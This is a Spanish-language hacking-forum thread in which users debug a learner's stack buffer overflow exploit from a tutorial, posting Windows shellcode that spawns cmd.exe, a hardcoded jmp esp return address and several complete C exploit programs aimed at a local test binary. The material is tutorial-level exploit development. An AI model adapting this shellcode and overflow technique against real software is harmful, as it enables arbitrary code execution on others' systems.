Tema destacado: Sigue las noticias más importantes de elhacker.net en twitter!
Autor
|
Tema: problema con shellcode (Leído 3,518 veces)
|
zhynar_X
Desconectado
Mensajes: 516
Use linux my friend...
|
Hola, estoy siguiendo el tutorial de Stack overflow de Rojodos, la shellcode la pongo igual que la que sale en su tuto pero cambiando los offsets por los de mi pc. Cuando ejecuto mi exploit no me sale ninguna shell, pero tampoco me sale que se ha detectado un problema (es lo que me salia cuando la escribia mal). Pongo la shellcode para ver si me podeis ayudar: char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63" "\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD" "\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3";
char offset[]="\xED\x1E\x95\x7C";
Saludos
|
|
|
|
|
En línea
|
Me he creado un blog: http://zhynar.blogspot.com Aver si os gusta!  Optimista es aquel que cree poder resolver un atasco de trafico tocando el claxon (Anonimo)
|
|
|
yeikos
Desconectado
Mensajes: 1.424
|
execv ("vuln1.exe",argv);Asegurarte que el ejecutable vulnerable se llama vuln1.exe y se encuentra en el mismo directorio que el exploit.
|
|
|
|
|
En línea
|
|
|
|
zhynar_X
Desconectado
Mensajes: 516
Use linux my friend...
|
Los argumentos se los envia bien, el problema debe estar en la shellcode ya que esa no hace nada y he provado otras que no me han funcionado pero si que me salia el cartel de "vuln.exe ha detectado unj problema y debe cerrarse".
Saludos
|
|
|
|
|
En línea
|
Me he creado un blog: http://zhynar.blogspot.com Aver si os gusta!  Optimista es aquel que cree poder resolver un atasco de trafico tocando el claxon (Anonimo)
|
|
|
c3r0x
Desconectado
Mensajes: 42
|
execv ("vuln1.exe",argv);Asegurarte que el ejecutable vulnerable se llama vuln1.exe y se encuentra en el mismo directorio que el exploit. dice q la shellcode  siempre tubo unos cuantos probles ese poc..dices q posiblemente es la scode, espero q allas testeado la shellcode asi apartes q es la shellcode, posiblemente sea el ofsett tal ves lo sacas mal, acuerdate q deebs sacar un jmp o un call ya sea del kernel32 o de otra que lo cargue el programa vuln , cositas asi simples.. EDIT:tambien espero q allas utilizado un debugger asi sacar la cantidad de byte a sobrreescribir.me explico dejar los 4bytes del eip para pegar ahi el offset sacado, salu2
|
|
|
|
« Última modificación: 5 Septiembre 2007, 04:13 por c3r0x »
|
En línea
|
|
|
|
yeikos
Desconectado
Mensajes: 1.424
|
Deduzco que el offset es correcto por la similitud de nuestros sistemas operativos... C:\> findjmp ntdll.dll esp
0x7C951EED jmp esp
La shellcode también es correcta así que debe de haber algún fallo en los códigos si no te equivocaste tú. Escribe el código fuente del exploit y del programa vulnerable. ¿Qué compilador estás usando?
|
|
|
|
|
En línea
|
|
|
|
c3r0x
Desconectado
Mensajes: 42
|
Deduzco que el offset es correcto por la similitud de nuestros sistemas operativos... C:\> findjmp ntdll.dll esp
0x7C951EED jmp esp
La shellcode también es correcta así que debe de haber algún fallo en los códigos si no te equivocaste tú. Escribe el código fuente del exploit y del programa vulnerable. ¿Qué compilador estás usando? yo insisto q tu estas calculando mal los bytes, por eso no funciona  salu2
|
|
|
|
|
En línea
|
|
|
|
yeikos
Desconectado
Mensajes: 1.424
|
No se por qué me citas a mi si yo no soy el que pregunta...
La longitud de caracteres para llegar al EIP es de 76 y es la que viene por defecto en los códigos de ejemplos, a continuación va el offset que realizará el salto y seguidamente la shellcode, si falla es por que algo habrás hecho mal, revisa bien el código.
|
|
|
|
|
En línea
|
|
|
|
c3r0x
Desconectado
Mensajes: 42
|
No se por qué me citas a mi si yo no soy el que pregunta...
La longitud de caracteres para llegar al EIP es de 76 y es la que viene por defecto en los códigos de ejemplos, a continuación va el offset que realizará el salto y seguidamente la shellcode, si falla es por que algo habrás hecho mal, revisa bien el código.
no se te entiende..mira baja un debugger el olly y vas probando (leete un manual) ..lo digo por q el defecto a mi no me sirvio me toco meterle mas bytes hasta llegar al eip, si eso falla tienes mal algo en el codigo, sali2
|
|
|
|
|
En línea
|
|
|
|
Ferсhu
Desconectado
Mensajes: 1.213
Menos palabras y Mas codigos.
|
uhhhhh me sacaste jaja yeikos no es el q esta PREGUNTANDO, es zhynar_X. Ademas si sabes leer Yeikos es mod de este foro. No se por qué me citas a mi si yo no soy el que pregunta... Q parte de estas palabras no entendes jaja. zhynar_X probaste eso?? q se llame vuln1.exe como dice el ejemplo y q este en la misma carpeta. Saludos!!!
|
|
|
|
« Última modificación: 5 Septiembre 2007, 07:58 por <~>FeRcHu<~> »
|
En línea
|
|
|
|
zhynar_X
Desconectado
Mensajes: 516
Use linux my friend...
|
Hola, si que sobrescribe el IEP ya que hago la prueva que dice Rojodos en su tutorial y me salen el error en 54545454 osea en TTTT. He hecho la prueva de pasarle con el olly de argumentos el evilbuffer y la shellcode, y me dice que tiene un error en 00230000. El codigo de mi exploit es: #include <stdio.h> #include <stdlib.h> #include <string.h>
int main () {
char cadena[1024]="vuln.exe ";
char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN" "OOOOPPPPQQQQRRRR";
char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63" "\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD" "\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3";
char offset[]="\xED\x1E\x95\x7C";
strcat(evilbuffer,offset); strcat(evilbuffer,shellcode); strcat(cadena,evilbuffer);
system(cadena);
}
Uso el compilador Dev C++ y el codigo vulnerable es el mismo que el del tutorial de Rojodos. Saludos
|
|
|
|
|
En línea
|
Me he creado un blog: http://zhynar.blogspot.com Aver si os gusta!  Optimista es aquel que cree poder resolver un atasco de trafico tocando el claxon (Anonimo)
|
|
|
yeikos
Desconectado
Mensajes: 1.424
|
Limítate a escribir el código tal cual si no tienes suficiente soltura con C, una vez comprobado que el exploit funciona correctamente, haz las modificaciones que veas necesarias. #include <stdio.h> // Entrada/Salida #include <stdlib.h> // execv() int main (int argc,char **argv) { //Declaramos argv para usarlo con el execv char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN" "OOOOPPPPQQQQRRRRSSSS"; //Para llegar el buffer y llegar al ret char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63" "\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD" "\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB\x44\x80\xBF\x77\xFF\xD3"; //Shellcode que ejecuta system("cmd.exe"), con la llamada a system harcodeada //en \x44\x80\xBF\x77 0x77BF9044 char offset[]="\xED\x1E\x95\x7C"; strcat(evilbuffer,offset); //Concatenamos a evilbuffer el offset del jmp esp strcat(evilbuffer,shellcode); //Concatenamos a evilbuffer+offset la shellcode printf ("Cadena + offset + shellcode en formato printable\n\n"); printf ("%s", evilbuffer); argv[0] = "vuln1"; //Definimos el argumento1, es decir, el nombre del vuln1 argv[1] = evilbuffer; //Definimos el argumento2, o sea, el argumento de vuln1 argv[2] = NULL; // Apunta a 0, porque no metemos mas argumentos execv ("vuln1.exe",argv); //Ejecutamos vuln1.exe pasándole evilbuffer como argumento }
|
|
|
|
|
En línea
|
|
|
|
zhynar_X
Desconectado
Mensajes: 516
Use linux my friend...
|
El exev(); en el DEv no funciona, el que he hecho yo deberia funcionar yaque hace exactamente lo mismo. ¿o no?
Saludos
|
|
|
|
|
En línea
|
Me he creado un blog: http://zhynar.blogspot.com Aver si os gusta!  Optimista es aquel que cree poder resolver un atasco de trafico tocando el claxon (Anonimo)
|
|
|
c3r0x
Desconectado
Mensajes: 42
|
uhhhhh me sacaste jaja yeikos no es el q esta PREGUNTANDO, es zhynar_X. Ademas si sabes leer Yeikos es mod de este foro. No se por qué me citas a mi si yo no soy el que pregunta... Q parte de estas palabras no entendes jaja. zhynar_X probaste eso?? q se llame vuln1.exe como dice el ejemplo y q este en la misma carpeta. Saludos!!! el puede hablar solo eh  entonces era el exploit, siempre q te metas con estos temas procura saber C un poco de asm y veras q todo te va como ilo usa system o shellexecute , createprocces etc.. salu2
|
|
|
|
« Última modificación: 5 Septiembre 2007, 15:49 por c3r0x »
|
En línea
|
|
|
|
yeikos
Desconectado
Mensajes: 1.424
|
El problema es que la función system no es muy fiable a la hora de pasarle parámetros, pues si estos parámetros contienen por ejemplo comillas, se cortara la cadena entera y no obtendrás buenos resultados. Compila el siguiente código, preferiblemente con Dev-C++ 4.9.9.2, y cuéntanos como te va... #include <stdio.h> int main(char **argv) { char evilbuff[1024] = ""; char offset[] = "\xED\x1E\x95\x7C"; char shellcode[] = "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9" "\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD" "\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3"; memset(evilbuff, 'A', 76); strncat(evilbuff, offset, sizeof(offset)); strncat(evilbuff, shellcode, sizeof(shellcode)); // printf("%s",evilbuff); argv[1] = evilbuff; argv[2] = NULL; execv("vuln1.exe", argv); }
|
|
|
|
|
En línea
|
|
|
|
zhynar_X
Desconectado
Mensajes: 516
Use linux my friend...
|
La funcion execv(); no funciona, y he usado el dev c++ 4.9.9.2 como has dicho. Hay alguna otra funcion que hagalo mismo que execv(); aparte de system();???
Saludos
|
|
|
|
|
En línea
|
Me he creado un blog: http://zhynar.blogspot.com Aver si os gusta!  Optimista es aquel que cree poder resolver un atasco de trafico tocando el claxon (Anonimo)
|
|
|
|
|